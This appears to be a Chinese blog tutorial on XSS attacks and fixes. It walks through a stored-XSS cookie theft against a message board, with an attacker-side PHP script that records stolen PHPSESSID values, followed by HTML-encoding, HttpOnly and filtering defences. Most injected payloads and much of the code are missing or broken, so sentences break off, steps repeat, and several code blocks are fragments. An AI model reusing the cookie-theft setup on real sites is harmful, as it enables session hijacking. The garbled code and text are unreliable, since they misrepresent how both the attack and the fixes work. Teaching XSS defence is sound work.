XSS攻防实例

这篇是继上篇XSS跨站脚本攻击的后篇

1、XSS攻击实例分析

例1、简单XSS攻击

留言类,简单注入javascript

有个表单域:

1、假若用户填写数据为:(或者

2、提交后将会弹出一个foolish警告窗口,接着将数据存入数据库

3、等到别的客户端请求这个留言的时候,将数据取出显示留言时将执行攻击代码,将会显示一个foolish警告窗口。

例2、盗取cookie

1、网站所在域名为www.test88.com、攻击者控制的主机www.linuxtest.com

2、test88.com中的表单,xss.html



xss攻击



留言:




留言记录:


3、恶意攻击者插入相应代码




    xss攻击
    



留言:

留言记录:

3、恶意攻击者插入相应代码


4、数据(攻击代码)插入数据库

5、攻击者控制的主机中设置接收盗取的cookie

";
print_r($_GET);
echo "
"; $cookie=$_GET['PHPSESSID']; file_put_contents('./xss.txt', $cookie); ?>

开始模拟测试

1、test88.com中设置生成sessionID代码

";
print_r($_SESSION);
echo "
";die; ?>

2、客户端访问上面代码并生成自己的sessionID

image

3、客户端访问xss.html

下面为模拟被攻击后取出数据的xss.html代码(显示数据)




    xss攻击     


留言:

留言记录:
image

4、客户端不小心点击到图片,sessionID将被盗

image

vi xss.txt

image

【当然这仅仅只是一个很简单的攻击,只要将数据过滤就可以避免这个攻击了,这里只是让大家了解XSS是如何进行攻击的。】

2、XSS漏洞修复

从上面XSS实例以及之前文章的介绍我们知道XSS漏洞的起因就是没有对用户提交的数据进行严格的过滤处理。因此在思考解决XSS漏洞的时候,我们应该重点把握如何才能更好的将用户提交的数据进行安全过滤。

1、html实体

什么是html实体?

在html中有些字符,像(<)这类的,对HTML(标准通用标记语言下的一个应用)来说是有特殊意义的,所以这些字符是不允许在文本中使用的。要在HTML中显示(<)这个字符,我们就必须使用实体字符。

html实体的存在是导致XSS漏洞的主要原因之一。

因此我们需要将这些实体全部转换为相应的实体编号。


20190210181822389.jpg
2、HTML Encode

用户将数据提交上来的时候进行HTML编码,将相应的符号转换为实体名称再进行下一步的处理。

在PHP中已经存在这样子功能的函数,即是htmlentities($str)函数。

与之相反的就是html_entity_decode($str)函数,它将实体名称转换为相应的符号。

3、修复漏洞方针

【不相应用户提交的数据,过滤过滤过滤!】

1、将重要的cookie标记为http only, 这样的话Javascript 中的document.cookie语句就不能获取到cookie了.

2、表单数据规定值的类型,例如:年龄应为只能为int、name只能为字母数字组合。。。。

4、对数据进行Html Encode 处理

5、过滤或移除特殊的Html标签, 例如: "; echo $str; $str2=$xss->clean_xss($str); echo $str2; echo "


"; #测试数组 $arr=array("","",""); echo "
";
print_r($arr);
echo "
"; $arr2=$xss->clean_xss($arr); echo "
";
print_r($arr2);
echo "
";die; ?>

你可能感兴趣的:(XSS攻防实例)